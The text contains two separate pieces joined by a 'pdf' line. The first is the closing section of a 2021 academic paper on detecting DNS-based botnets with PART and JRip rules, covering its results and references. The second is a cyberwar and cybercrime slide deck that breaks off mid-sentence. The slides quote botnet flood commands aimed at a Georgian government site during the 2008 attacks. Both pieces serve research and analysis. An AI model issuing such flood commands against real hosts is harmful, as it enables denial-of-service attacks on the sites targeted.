filters are used in the process. The successful response (dns.sec.resp) is extracted using (dns.flags.rcode == 0) filter; the number of DNS requests (dns.req.num) is extracted using the (dns.flags.response == 0) filter; and both (dns.sec.resp) and (dns.req.num) are aggregated for each 5-second period using (src_IP). The ratio of successful response is calculated using Eq. (3) where the aggregated successful response is divided by the aggregated number of requests. For the third enriched feature (F3), the DNS query packet is extracted using (dns.flags. response == 0) filter every 5 s. The entropy of the DNS query is calculated using Eq. (4). For the fourth enriched feature (F4), the resolved DNS records number is extracted using (dns.qry) filter. The result is calculated every 5 s using Eq. (5). For the fifth feature (F5), the value of TTL response is extracted using (dns.resp.ttl) filter; then, the average response TTL is calculated using Eq. (6). The rest of the features from F6 to F10 are calculated by following the same methods of using Wireshark filters, as shown in Table 8. The calculated DNS features are prepared as input for the next stage and stored in a CSV file. It is then considered as a labelled training dataset with only new DNS features. Table 9 shows the final number of dataset records after performing the flow aggregation. Design of rule-based detection stage In this stage, the Weka tool is used to extract botnet-based DNS detection ruleset using both PART and JRip classifiers. Initially, the enriched training dataset is the input for both PART and JRip classifiers. Then, to properly assess the predictive performance and overcome any bias in this process, the k-fold cross-validation training technique is used with the value of k set to 10 to build and test the model (Luo et al., 2017). Figure 14 illustrates the rules extraction process in this stage. Appendices A1, A2 and A3, provide in details the extracted rules for each used classifier. RESULTS The three extracted models are evaluated using two different benchmark datasets (NIMS and CTU13) to measure the detection accuracy and false-positive rate, as shown in Eqs. (7)–(10). These evaluation metrics are computed by the parameters of the confusion Table 9 Total number of dataset instances. Dataset Instances Attack Normal NIMS-based dataset 44,577 100 Mixed dataset 44,577 625 Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 24/34 matrix, as stated in Fig. 15. Many researchers adopted these evaluation metrics in their work (Soltanaghaei & Kharrazi, 2015; Kwon et al., 2016; Alieyan, 2018; Shi & Sun, 2020). Detection accuracy ¼ TP þ TN TP þ TN þ FP þ FN (7) False Positives rate ¼ FP FP þ TN (8) Precision ¼ TP TP þ FN (9) F1 score ¼ 2TP ð2TP þ FP þ FN Þ (10) Precision (proportion of correctly reported anomalies) and Recall (share of correctly reported anomalies compared to the total number of anomalies), Recall is another option Figure 15 Evaluation metrics. Full-size  DOI: 10.7717/peerj-cs.640/fig-15 Figure 14 Rules extraction process. Full-size  DOI: 10.7717/peerj-cs.640/fig-14 Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 25/34 which calculated implicitly using the F-measure. F-measure (F1) is a function that represents the relationship between Precision and Recall; a higher F-measure indicates a more accurate classification output. Furthermore, to select the best detection model for the DNS-based botnet detection approach, the extracted rules for each classifier are separately evaluated using the cross- validation technique. The model with the highest detection accuracy was selected. The cross-validation experiments were conducted using a mixed dataset and (NIMS) dataset. Table 10 presents the result of the extracted rules and models and model complexity for each dataset. Model complexity can be measured using various criteria, including memory consumption, time, and the number of the detection rules extracted using learning algorithms. Two complexity criteria are used in this work: (i) the estimated training time, which depends on the research platform, and (ii) the complexity of the model based on the number of extracted detection rules. We can notice from Table 10 that the maximum time required to build the final model is 6.03 s. This short time results from a flow-based analysis that reduced the traffic to DNS traffic only where the packets are aggregated every 5 s. Furthermore, the results for the mixed dataset show that the PART classifier extracted rule model has a 99.95% accuracy rate and a 3.84% false-positive rate, which outperformed the JRip classifier. Moreover, the proposed hybrid model achieved even better detection accuracy at 99.96% with only a 1.6% FP rate, which surpassed the other extracted models. In contrast, the F1 score and precision were the same in value. As for the NIMS-based dataset results, the PART-extracted model also outperformed the JRip-extracted model’s accuracy rate. Similarly, the proposed hybrid model has a 99.97% accuracy rate and a 5% FP rate, which is better than PART and JRip extracted models. The FP rate for the NIMS-based dataset was higher compared to the result of the mixed dataset. As mentioned in the previous section, the NIMS-based dataset contains fewer records of normal traffic instances, leading to a biased detection rule. Consequently, the result shows a higher FP rate than the mixed dataset, which contains a higher number of normal traffic instances. Hence, having a higher percentage of normal instances in a Table 10 The results of the proposed approach. Datsaets Algorithms Accuracy% Precision F1 score FP rate% Time Complexity (sec) Rules complexity MIXED JRip 99.87 99.94 99.931 4.34 5.23 10 PART 99.9 99.95 99.949 3.84 0.8 22 Hybrid (JRip+PART) 99.96 99.97 99.977 1.6 6.03 32 NIMS JRip 99.94 99.97 99.967 13 1.34 5 PART 99.95 99.97 99.974 11 0.66 10 Hybrid (JRip+PART) 99.97 99.98 99.988 5 2 32 Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 26/34 training dataset is imperative for machine learning classifier training to develop more accurate extracted detection rules with a low FP rate. Furthermore, the high detection accuracy rate is due to the evaluation of the detection model using a 10-fold cross-validation testing method where the testing data is the same as in trained data. The detection accuracy rate could be reduced if the detection model evaluated using a real-world or supplied dataset. In addition, the data pre-processing, which is the first stage of the proposed approach, has contributed to the enhancing of the detection accuracy Since high accuracy and low FP rates are essential for botnet detection, the evaluation results for both datasets guarantee the suitability of the proposed hybrid rule model to detect DNS-based botnet with the best accuracy and FP rate of the mixed dataset. Result comparison Haddadi et al. (2014) proposed an approach for botnet detection and tested its performance against NIMS dataset (Haddadi et al., 2014). Later research conducted by the same researchers (Haddadi et al., 2014) used two methods during the pre-processing stage: (1) without using hypertext transfer protocol (HTTP) filters; and (2) using HTTP filters. The first method yielded an 87.5% botnet detection accuracy, while the second method obtained 91.5% accuracy. However, since our proposed approach was not using HTTP filters, we only compared our results with the first test case (Haddadi et al., 2014). Table 11 shows the comparison results. Like our methodology, Deepbot (Shi & Sun, 2020) also used a hybrid model. It utilised RNN and LSTM algorithms to extract hybrid models for botnet traffic classification. However, despite extracting only 11 DNS features compared to 35 network traffic features by Shi & Sun (2020), our study obtained a better result (99.96% vs. 99.36%) with a higher F1 score of 99.97% vs. 98.4%. Table 12 shows the comparison results. The proposed new enriched DNS features computed with the aid of information theory contributed to a higher accuracy rate. However, as discussed earlier, the low number of Table 11 Comparison of proposed approach with Haddadi el al. (2014). Dataset Proposed approach Haddadi et al. (2014) Accuracy FP Rate Accuracy FP Rate NIMS 99.97% 5% 87.5% 13.25% MIXED 99.96% 1.6% – – Table 12 Comparison of proposed approach with deepbot (Shi & Sun, 2020). Proposed approach Deepbot (Shi & Sun, 2020) Accuracy F1 Accuracy F1 99.96% 99.97% 99.36% 98.4% Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 27/34 normal instances led to an FP rate of 5% for the NIMS dataset. Thus, to reduce the FP rate, the study used a mixed dataset that comprised a higher percentage of normal instances and successfully achieved a lower FP rate (1.6%). CONCLUSION Nowadays, botnets are more diverse, resilient, widespread, and utilised in many cyber attacks. Therefore, there is a pressing need for a better botnet detection method. This study presents a hybrid rule-based approach for detecting DNS-based botnet. New features are proposed and used to form new rules. A total of 32 rules extracted using PART and JRip machine learning algorithms are used to detect DNS-based botnets in the datasets. The performance of the proposed approach was evaluated using two benchmark datasets (NIMS and CTU13). The experimental results show that the detection accuracy of the proposed approach achieved 99.97% and 99.96% for NIMS and mixed datasets, respectively. Meanwhile, the FP rates are 5% and 1.6% for NIMS and mixed datasets, respectively. The comparison results show that our proposed approach outperformed other existing approaches. Finally, this research opens avenues for future research in the following aspects: (i) adapting the proposed rules to detect blockchain-based DNS botnets, (ii) hybridising the resulted rules with other approaches, such as the signature-based approach, could improve DNS-based botnet detection accuracy further, (iii) investigating and study the impact of encrypted DNS traffic, such as DoH (DNS-over-HTTPS) and DoT (DNS-over-TLS), on the proposed DNS-based botnet detection approach, and (iv) scaling behaviour analysis to better understand the applicability of the proposed approach in the real world. ADDITIONAL INFORMATION AND DECLARATIONS Funding The authors received no funding for this work. Competing Interests The authors declare that they have no competing interests. Author Contributions Saif Al-mashhadi conceived and designed the experiments, performed the experiments, analyzed the data, performed the computation work, prepared figures and/or tables, and approved the final draft. Mohammed Anbar analyzed the data, authored or reviewed drafts of the paper, and approved the final draft. Iznan Hasbullah performed the experiments, analyzed the data, authored or reviewed drafts of the paper, and approved the final draft. Taief Alaa Alamiedy analyzed the data, prepared figures and/or tables, and approved the final draft. Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 28/34 Data Availability The following information was supplied regarding data availability: Python script and the dataset used after cleaning are available in the Supplemental Files. Supplemental Information Supplemental information for this article can be found online at http://dx.doi.org/10.7717/ peerj-cs.640#supplemental-information. REFERENCES Abu Rajab M, Zarfoss J, Monrose F, Terzis A. 2006. A multifaceted approach to understanding the botnet phenomenon. In: Proceedings of the 6th ACM SIGCOMM on Internet measurement - IMC ’06.. 41. Acarali D, Rajarajan M, Komninos N, Herwono I. 2016. Survey of approaches and features for the identification of HTTP-based botnet traffic. Journal of Network and Computer Applications 76:1–15 DOI 10.1016/j.jnca.2016.10.007. Adewole KS, Akintola AG, Salihu SA, Faruk N, Jimoh RG. 2019. Hybrid Rule-Based Model for Phishing URLs Detection. In: Miraz M, Excell P, Ware A, Soomro S, Ali M, eds. Emerging Technologies in Computing. iCETiC 2019. Lecture Notes of the Institute for Computer Sciences, Social Informatics and Telecommunications Engineering. Vol. 285. Basel, Switzerland: Springer DOI 10.1007/978-3-030-23943-5_9. Al-Mashhadi S, Anbar M, Karuppayah S, Al-Ani AK. 2019. A review of botnet detection approaches based on DNS traffic analysis. In: Piuri V, Balas VE, Borah S, Syed Ahmad SS, eds. Intelligent and Interactive Computing. Lecture Notes in Networks and Systems. Singapore: Springer Singapore, 305–321. Alazab M, Venkatraman S, Watters P, Alazab M, Stranieri A, Ong K-L, Christen P, Kennedy P. 2011. Zero-day malware detection based on supervised learning algorithms of API call signatures. Victoria: Australian Computer Society. Alieyan KIA. 2018. Rule-based approach for detecting botnet based on domain name system. George Town: Universiti Sains Malaysia. Alieyan K, Almomani A, Anbar M, Alauthman M, Abdullah R, Gupta BB. 2021. DNS rule-based schema to botnet detection. Enterprise Information Systems 15(4):545–564 DOI 10.1080/17517575.2019.1644673. Alieyan K, Kadhum MM, Anbar M, Rehman SU, Alajmi NKA. 2016. An overview of DDoS attacks based on DNS. In: 2016 International Conference on Information and Communication Technology Convergence, ICTC 2016. 276–280. Almutairi S, Mahfoudh S, Almutairi S, Alowibdi JS. 2020. Hybrid botnet detection based on host and network analysis. Journal of Computer Networks and Communications 2020(1):1–16 DOI 10.1155/2020/9024726. Alomari E, Manickam S, Gupta BB, Anbar M, Saad RMA, Alsaleem S. 2016. A survey of botnet- based DDoS flooding attacks of application layer. In: Gupta B, Agrawal DP, Yamaguchi S, eds. Handbook of Research on Modern Cryptographic Solutions for Computer and Cyber Security. Pennsylvania: IGI Global, 52–79. Anbar M, Abdullah R, Hasbullah IH, Chong YW, Elejla OE. 2016. Comparative performance analysis of classification algorithms for intrusion detection system. In: 2016 14th Annual Conference on Privacy, Security and Trust, PST 2016. Piscataway: IEEE, 282–288. Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 29/34 Anirudh M, Arul Thileeban S, Nallathambi DJ. 2017. Use of honeypots for mitigating DoS attacks targeted on IoT networks. In: International Conference on Computer, Communication, and Signal Processing: Special Focus on IoT, ICCCSP 2017. 8–11. Antonakakis M, Perdisci R. 2012. From throw-away traffic to bots: detecting the rise of DGA- based malware. In: Proceedings of the 21st USENIX Security Symposium. Vol. 16. Antonakakis M, Perdisci R, Dagon D, Lee W, Feamster N. 2010. Building a dynamic reputation system for DNS. In: USENIX Security’10: Proceedings of the 19th USENIX conference on Security. 1–17. Antonakakis M, Perdisci R, Lee W, Ii NV, Dagon D. 2011. Detecting malware domains at the upper DNS hierarchy. USENIX Security Symposium 11:1–16 DOI 10.5555/2028067.2028094. Asadi M, Jabraeil Jamali MA, Parsa S, Majidnezhad V. 2020. Detecting botnet by using particle swarm optimization algorithm based on voting system. Future Generation Computer Systems 107(2):95–111 DOI 10.1016/j.future.2020.01.055. Bethencourt J, Franklin J, Vernon M. 2005. Mapping internet sensors with probe response attacks. In: 14th USENIX Security Symposium. 193–208. Bilge L, Kirda E, Kruegel C, Balduzzi M, Antipolis S. 2011. EXPOSURE : finding malicious domains using passive DNS analysis. ACM Transactions on Information and System Security 16(4):1–17 DOI 10.1145/2584679. Cantón D. 2015. Botnet detection through DNS-based approaches | CERTSI. Available at https:// www.certsi.es/en/blog/botnet-detection-dns (accessed 24 May 2018). Chang C-C, Lin C-J. 2011. LIBSVM. ACM Transactions on Intelligent Systems and Technology 2(3):1–27 DOI 10.1145/1961189.1961199. Chen R, Niu W, Zhang X, Zhuo Z, Lv F. 2017. An effective conversation-based botnet detection method. Mathematical Problems in Engineering 2017(5):1–10 DOI 10.1155/2017/1964165. Da Luz PM. 2014. Botnet Detection Using Passive DNS. Radboud University: Nijmegen, The Netherlands. Available at https://www.ru.nl/publish/pages/769526/z-thesis_pedroluz.pdf. Dornseif M, Holz T, Klein CN. 2004. Nosebreak-attacking honeynets. In: Proceedings from the Fifth Annual IEEE SMC Information Assurance Workshop. Piscataway: IEEE, 123–129 DOI 10.1109/IAW.2004.1437807. Faizal MA, Yassin W, Nur Hidayah MS, Selamat SR, Abdullah RS. 2018. An analysis of system calls using J48 and JRip for malware detection. Journal of Theoretical and Applied Information Technology 96:4294–4305. Freiling FC, Holz T, Wicherski G. 2005. Botnet tracking: exploring a root-cause methodology to prevent distributed denial-of-service attacks. Lecture Notes in Computer Science 3679:319–335 DOI 10.1007/11555827_19. Gadelrab MS, Elsheikh M, Ghoneim MA, Rashwan M. 2018. BotCap: machine learning approach for botnet detection based on statistical features. International Journal of Communication Networks and Information Security (IJCNIS) 10:563–579. Garcia S, Grill M, Stiborek J, Zunino A. 2014. An empirical comparison of botnet detection methods. Computers and Security 45:100–123 DOI 10.1016/j.cose.2014.05.011. Gu G, Porras PA, Yegneswaran V, Fong MW, Lee W. 2007. Bothunter: Detecting malware infection through ids-driven dialog correlation. In: USENIX Security Symposium. Vol. 7. 1–16. Haddadi F, Morgan J, Filho EG, Zincir-Heywood AN. 2014. Botnet behaviour analysis using IP flows: with HTTP filters using classifiers. In: 2014 28th International Conference on Advanced Information Networking and Applications Workshops. Piscataway: IEEE, 7–12. Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 30/34 Haddadi F, Phan DT, Zincir-Heywood AN. 2016. How to choose from different botnet detection systems? In: Proceedings of the NOMS, 2016 - 2016 IEEE/IFIP Network Operations and Management Symposium. 1079–1084. Haddadi F, Zincir-Heywood AN. 2015. Data confirmation for botnet traffic analysis. Lecture Notes in Computer Science 8930:329–336 DOI 10.1007/978-3-319-17040-4_21. Haddadi F, Zincir-Heywood AN. 2016. Benchmarking the effect of flow exporters and protocol filters on botnet traffic classification. IEEE Systems Journal 10(4):1390–1401 DOI 10.1109/JSYST.2014.2364743. Hall M, Frank E, Holmes G, Pfahringer B, Reutemann P, Witten IH. 2009. The WEKA data mining software: an update. ACM SIGKDD Explorations Newsletter 11(1):10–18 DOI 10.1145/1656274.1656278. Hall L, Joshi A. 2005. Building accurate classifiers from imbalanced data sets. In: Borne P, ed. IMACS 2005, Paris. Villeneuve d’Ascq, France: Ecole Centrale de Lille. Hikaru I, Yong J, Katsuyoshi I, Yoshiaki T. 2018. Detection and blocking of anomaly DNS Traffic by analyzing achieved NS record history. In: APSIPA Annual Summit and Conference 2018. Hawaii, Piscataway: IEEE, 1586–1590. Holz T, Gorecki C, Rieck K, Freiling FC. 2008. Measuring and detecting fast-flux service networks. In: Proceedings of the Network and Distributed System Security Symposium, NDSS 2008. San Diego, California, USA, 24–31. Hsu C-W, Chang C-C, Lin C-J. 2003. A practical guide to support vector classification. 1396–1400 Available at http://www.datascienceassn.org/sites/default/files/Practical%20Guide%20to% 20Support%20Vector%20Classification.pdf. Karim A, Salleh RB, Shiraz M, Shah SAA, Awan I, Anuar NB. 2014. Botnet detection techniques: review, future trends, and issues. Journal of Zhejiang University SCIENCE C 15(11):943–983 DOI 10.1631/jzus.C1300242. Khan RU, Zhang X, Kumar R, Sharif A, Golilarz NA, Alazab M. 2019. An adaptive multi-layer botnet detection technique using machine learning classifiers. Applied Sciences (Switzerland) 9 DOI 10.3390/app9112375. Khattak S, Ramay NR, Khan KR, Syed AA, Khayam SA. 2014. A taxonomy of botnet behavior, detection, and defense. IEEE Communications Surveys and Tutorials 16(2):898–924 DOI 10.1109/SURV.2013.091213.00134. Kheir N, Tran F, Caron P, Deschamps N. 2014. Mentor: positive DNS reputation to skim-off benign domains in botnet C&C blacklists. In: Cuppens-Boulahia N, Cuppens F, Jajodia S, Abou El Kalam A, Sans T, eds. ICT Systems Security and Privacy Protection. Berlin: Springer, 1–14. Kohavi R. 1995. A study of cross-validation and bootstrap for accuracy estimation and model selection. In: International Joint Conference of Artificial Intelligence. Koniaris I, Papadimitriou G, Nicopolitidis P. 2013. Analysis and visualization of SSH attacks using honeypots. IEEE EuroCon 2013:65–72 DOI 10.1109/EUROCON.2013.6624967. Krmicek V. 2011. Inspecting DNS flow traffic for purposes of botnet detection. GEANT3 JRA2 T4 Internal Deliverable 1:1–9. Kumar S, Viinikainen A, Hamalainen T. 2018. Evaluation of ensemble machine learning methods in mobile threat detection. In: 2017 12th International Conference for Internet Technology and Secured Transactions, ICITST 2017. 261–268. Kwon J, Lee J, Lee H, Perrig A. 2016. PsyBoG: a scalable botnet detection method for large-scale DNS traffic. Computer Networks 97(1):48–73 DOI 10.1016/j.comnet.2015.12.008. Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 31/34 Lallie HS, Shepherd LA, Nurse JRC, Erola A, Epiphaniou G, Maple C, Bellekens X. 2020. Cyber security in the age of COVID-19: a timeline and analysis of cyber-crime and cyber-attacks during the pandemic. arXiv DOI 10.1016/j.cose.2021.102248. Li Y, Xiong K, Chin T, Hu C. 2019. A machine learning framework for domain generation algorithm (DGA)-based malware detection. IEEE Access 7:32765–32782 DOI 10.1109/access.2019.2891588. Liu J, Xiao Y, Ghaboosi K, Deng H, Zhang J. 2009. Botnet: classification, attacks, detection, tracing, and preventive measures. EURASIP Journal on Wireless Communications and Networking 2009:692654 DOI 10.1155/2009/692654. Luo X, Wang L, Xu Z, Yang J, Sun M, Wang J. 2017. DGASensor: rast detection for DGA-based malwares. ACM International Conference Proceeding Series Part F 1280:47–53 DOI 10.1145/3057109.3057112. Ma X, Zhang J, Li Z, Li J, Tao J, Guan X, Lui JCS, Towsley D. 2015. Accurate DNS query characteristics estimation via active probing. Journal of Network and Computer Applications 47(4):72–84 DOI 10.1016/j.jnca.2014.09.016. Manasrah AM, Hasan A, Abouabdalla OA, Ramadass S. 2009. Detecting botnet activities based on abnormal DNS traffic. International Journal of Computer Science and Information Security 6(1):97–104. Mockapetris PV. 1987. Domain names - implementation and specification. United States: RFC Editor. Monika Wielogorska DO. 2017. DNS analysis for botnet detection. In: Proceedings of the 25th Irish Conference on Artificial Intelligence and Cognitive Science, CEUR-WS. 1–8. Morales C. 2018. NETSCOUT arbor confirms 1.7 Tbps DDoS attack; the terabit attack era is upon us. Available at https://asert.arbornetworks.com/netscout-arbor-confirms-1-7-tbps-ddos-attack- terabit-attack-era-upon-us/. Napierala K, Stefanowski J. 2016. Types of minority class examples and their influence on learning classifiers from imbalanced data. Journal of Intelligent Information Systems 46(3):563–597 DOI 10.1007/s10844-015-0368-1. Nawrocki M, Wählisch M, Schmidt TC, Keil C, Schönfelder J. 2016. A survey on honeypot software and data analysis. arXiv preprint arXiv:1608.06249. . Negash N, Che X. 2015. An overview of modern botnets. Information Security Journal: A Global Perspective 24(4–6):127–132 DOI 10.1080/19393555.2015.1075629. Oberheide J, Karir M, Mao ZM. 2007. Characterizing dark DNS behavior. In: Hämmerli B, Sommer R, eds. Detection of Intrusions and Malware, and Vulnerability Assessment. Vol. 4579. Berlin: Springer, 140–156. Nozomi Networks Labs. 2020. OT/IoT security report 2020: Rising IoT botnets and shifting ransomware escalate enterprise risk. San Francisco: Nozomi Networks. Passerini E, Paleari R, Martignoni L, Bruschi D. 2008. FluXOR: detecting and monitoring fast- flux service networks. In: Zamboni D, ed. Detection of Intrusions and Malware, and Vulnerability Assessment. Vol. 5137. Berlin: Springer, 186–206. Pektaş A, Acarman T. 2019. Deep learning to detect botnet via network flow summaries. Neural Computing and Applications 31(11):8021–8033 DOI 10.1007/s00521-018-3595-x. Perdisci R, Corona I, Giacinto G. 2012. Early detection of malicious flux networks via large-scale passive DNS traffic analysis. IEEE Transactions on Dependable and Secure Computing 9:714–726 DOI 10.1109/TDSC.2012.35. Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 32/34 Qazi N, Raza K. 2012. Effect of feature selection, Synthetic Minority Over-sampling (SMOTE) and under-sampling on class imbalance classification. In: Proceedings - 2012 14th International Conference on Modelling and Simulation, UKSim 2012. 145–150. Qi B, Jiang J, Shi Z, Mao R, Wang Q. 2018. BotCensor: detecting DGA-based botnet using two- stage anomaly detection. In: Proceedings - 17th IEEE International Conference on Trust, Security and Privacy in Computing and Communications and 12th IEEE International Conference on Big Data Science and Engineering, Trustcom/BigDataSE 2018. 754–762. Ramachandran A, Feamster N, Dagon D. 2006. Revealing botnet membership using DNSBL counter-intelligence. In: Proceedings of the 2nd Conference on Steps to Reducing Unwanted Traffic on the Internet. 2:8. Salzberg SL. 1994. C4.5: programs for machine learning by J. Ross Quinlan. Morgan Kaufmann Publishers, Inc., 1993. Machine Learning 16:235–240 DOI 10.1007/BF00993309. Shi WC, Sun HM. 2020. DeepBot: a time-based botnet detection with deep learning. Soft Computing 24(21):16605–16616 DOI 10.1007/s00500-020-04963-z. Shin S, Xu Z, Gu G. 2012. EFFORT: efficient and effective bot malware detection. In: Proceedings - IEEE INFOCOM. Piscataway: IEEE, 2846–2850. Silva SSC, Silva RMP, Pinto RCG, Salles RM. 2013. Botnets: a survey. Computer Networks 57(2):378–403 DOI 10.1016/j.comnet.2012.07.021. Singh M, Singh M, Kaur S. 2019. Issues and challenges in DNS based botnet detection: A survey. Computers and Security 86:28–52 DOI 10.1016/j.cose.2019.05.019. Soltanaghaei E, Kharrazi M. 2015. Detection of fast-flux botnets through DNS traffic analysis. Scientia Iranica 22:2389–2401. Stevanovic M, Revsbech K, Pedersen JM, Sharp R, Jensen CD. 2012. A collaborative approach to botnet protection. In: Quirchmayr G, Basl J, You I, Xu L, Weippl E, eds. Multidisciplinary Research and Practice for Information Systems. Vol. 7465. Berlin: Springer, 624–638. Stone-Gross B, Cova M, Gilbert B, Kemmerer R, Kruegel C, Vigna G. 2011. Analysis of a botnet takeover. IEEE Security and Privacy 9(1):64–72 DOI 10.1109/MSP.2010.144. Symantec. 2018. Internet security threat report. Available at https://www.symantec.com/content/ dam/symantec/docs/reports/istr-23-executive-summary-en.pdf. Thankachan TA. 2013. A survey on classification and rule extraction techniques for datamining. IOSR Journal of Computer Engineering 8(5):75–78 DOI 10.9790/0661-0857578. Wang P, Sparks S, Zou CC. 2010. An advanced hybrid peer-to-peer botnet. IEEE Transactions on Dependable and Secure Computing 7:113–127 DOI 10.1109/TDSC.2008.35. Wang TS, Lin HT, Cheng WT, Chen CY. 2017. DBod: clustering and detecting DGA-based botnets using DNS traffic analysis. Computers and Security 64(2):1–15 DOI 10.1016/j.cose.2016.10.001. Weimer F. 2005. Passive DNS replication. Analysis 1–13. William S, Danford R. 2008. The honeynet project, know your enemy: fast-flux service networks. Available at https://www.honeynet.org/papers/ff (accessed 21 May 2018). Xu S, Li S, Meng K, Wu L, Ding M. 2017. An adaptive malicious domain detection mechanism with DNS traffic. In: Proceedings of the 2017 VI International Conference on Network, Communication and Computing - ICNCC. 86–91. Yadav S, Reddy ALN. 2012. Winning with DNS failures: strategies for faster botnet detection. In: Lecture Notes of the Institute for Computer Sciences, Social-Informatics and Telecommunications Engineering 96 LNICST. 446–459. Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 33/34 Yadav S, Reddy AKK, Reddy ALN, Ranjan S. 2010. Detecting algorithmically generated malicious domain names. In: Proceedings of the 10th Annual Conference on Internet Measurement - IMC’10. New York: ACM Press, 48. Zago M, Gil Pérez M, Martínez Pérez G. 2019. Scalable detection of botnets based on DGA: efficient feature discovery process in machine learning techniques. Soft Computing 24(8):5517–5537 DOI 10.1007/s00500-018-03703-8. Zdrnja B, Brownlee N, Wessels D. 2007. Passive monitoring of DNS anomalies. In: Hämmerli B, Sommer R, eds. Detection of Intrusions and Malware, and Vulnerability Assessment. Vol. 4579. Berlin: Springer, 129–139. Zeidanloo HR, Zadeh MJ, Shooshtari APV, Safari M, Zamani M. 2010. A taxonomy of Botnet detection techniques. In: Proceedings - 2010 3rd IEEE International Conference on Computer Science and Information Technology, ICCSIT 2010. 2:158–162. Zhao D, Traore I, Sayed B, Lu W, Saad S, Ghorbani A, Garant D. 2013. Botnet detection based on traffic behavior analysis and flow intervals. Computers and Security 39(3):2–16 DOI 10.1016/j.cose.2013.04.007. Zhou Y-L, Li Q-S, Miao Q, Yim K. 2013. DGA-based botnet detection using DNS traffic. Journal of Internet Services and Information 3:116–123. Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 34/34
pdf
Cyber [Crime|War] Connecting the dots Iftach Ian Amit Managing Partner, Security & Innovation Agenda Who am I? CyberWar [Attack | Defense] CyberCrime [Attack | Defense] Past events revisited... Connecting the dots Future Who Am I This is NOT going to be Picking up where we left off At least as far as last year’s research is concerned... Boss, is this supposed to be on the internet? I think this is from my powerpoint! We probably need to call someone... Finally de- classified... (public domain) The initial “trace” or lo- jack used (see rabbithole talk from 09) Hungry yet? This was just the appetizer... Question 1: What is this? Perceptions may be deceiving... War Crime Government / state Official backing Official resources Financing Expertise? Exploits/Vulns? War Crime Private semi-official backing (think organized crime) Official resources Self financing? Established expertise (in-house + outsourced) Market for exploits CyberWar “Cyberwarfare, (also known as cyberwar and Cyber Warfare), is the use of computers and the Internet in conducting warfare in cyberspace.” Wikipedia It did not happen yet being an exception? “There is no Cyberwar” Estonia This is not the only way! Neither is this... But civilian are always at stake! Many faces of how CyberWar is perceived... From McAfee’s “Virtual Criminology Report 2009” Image caption: “countries developing advanced offensive cyber capabilities” We’ll focus on current players: US Russia China Israel Iran And no, here size does NOT matter... USA Thoroughly documented activity around cyberwar preparedness as well as military/government agencies with readily available offensive capabilities Massive recruiting of professional in attack/defense for different departments: USCC (United States Cyber Command - includes AirForce, Marines, Navy and Army service components) NSA Other TLA’s... Russia GRU (Main Intelligence Directorate of the Russian Armed Forces) SVR (Foreign Intelligence Service) FSB (Federal Security Services) Center for Research of Military Strength of Foreign Countries Several “National Youth Associations” (Nashi) China PLA (People’s Liberation Army) Homework: read the Northrop Grumman report... General Staff Department 4th Department - Electronic Countermeasures == Offense GSD 3rd Department - Signals Intelligence == Defense Yes... Titan Rain... Iran Telecommunications Infrastructure co. Government telecom monopoly Iranian Armed Forces Israel This is going to be very boring... Google data only :-( IDF (Israel Defense Forces) add cyber-attack capabilities. C4I (Command, Control, Communications, Computers and Intelligence) branches in Intelligence and Air-Force commands Staffing is mostly homegrown - trained in the army and other government agencies. Mossad? (check out the jobs section on mossad.gov.il...) CyberWar - Attack Highly selective targeting of military (and critical) resources In conjunction with a kinetic attack OR Massive DDOS in order to “black-out” a region, disrupt services, and/or push political agenda (propaganda) CyberWar - Defense Never just military Targets will be civilian Physical and logical protections = last survival act Availability and Integrity of services Can manifest in the cost of making services unavailable for most civilians CyberCrime Criminal Boss Under Boss Trojan Provider and Manager Trojan Command and Control Campaign Manager Campaign Manager Campaign Manager Attackers Crimeware Toolkit Owners Trojan distribution in legitimate website Affiliation Network Affiliation Network Affiliation Network Stolen Data Reseller Stolen Data Reseller Stolen Data Reseller Figure 2: Organizational chart of a Cybercrime organization You want money, you gotta play like the big boys do... CyberCrime - Attack Channels: web, mail, open services Targeted attacks on premium resources Commissioned, or for extortion purposes Carpet bombing for most attacks Segmenting geographical regions and market segments Secondary infections through controlled outposts Bots, infected sites CyberCrime - target location CyberCrime - Locations Major Cybercrime group locations CyberCrime - Ammunition =≈ APT CyberCrime - Defense Anti [ Virus | Malware | Spyware | Rootkit | Trojan ] Seriously? Firewalls / IDS / IPS Seriously? Brought to you by the numbers 80, 443, 53... SSL... How do these connect? Claim: CyberCrime is being used to conduct CyberWar Proof: Let’s start with some history... History - Revisited... Estonia You read all about it. Bottom line: civilian infrastructure was targeted Attacks originated mostly from civilian networks History - Revisited... Israel Cast led 2nd Lebanon war Palestinian TV hacked - propaganda Cast-Led, 2nd Lebanon war (Israel and mid-east) All attacks on targets are Attributed to Hacktivists Israeli Arabic Mid-east crime-war links ARHack Hacker forum by day Cybercrime operations by night Political post Buying/Selling cards for 1/2 their balance Selling 1600 visa cards History - Revisited... Georgia More interesting... Highly synchronized Kinetic and Cyber attacks Targets still mostly civilian Launched from civilian networks Russian Crime/State Dillema McColo ESTDomains Atrivo RBN RealHost Micronnet Eexhost Russian Government Crime ESTDom RBN HostFresh UkrTeleGroup ESTDomains McColo Atrivo Hosted by Customer Network provider Remember Georgia? Started by picking on the president... Then the C&C used to control the botnet was shut down as: Troops cross the border towards Georgia A few days of silence... flood http www.president.gov.ge flood tcp www.president.gov.ge flood icmp www.president.gov.ge Georgia - cont. Six (6) new C&C servers came up and drove attacks at additional Georgian sites BUT - the same C&C’s were also used for attacks on commercial sites in order to extort them (botnet-for- hire) www.president.gov.ge www.parliament.ge apsny.ge news.ge tbilisiweb.info newsgeorgia.ru os-inform.com www.kasparov.ru hacking.ge mk.ru newstula.info Additional sites attacked: •Porn sites •Adult escort services •Nazi/Racist sites •Carder forums •Gambling sites •Webmoney/Webgold/etc… History - Revisited... Iran 2009 Twitter DNS hack attributed to 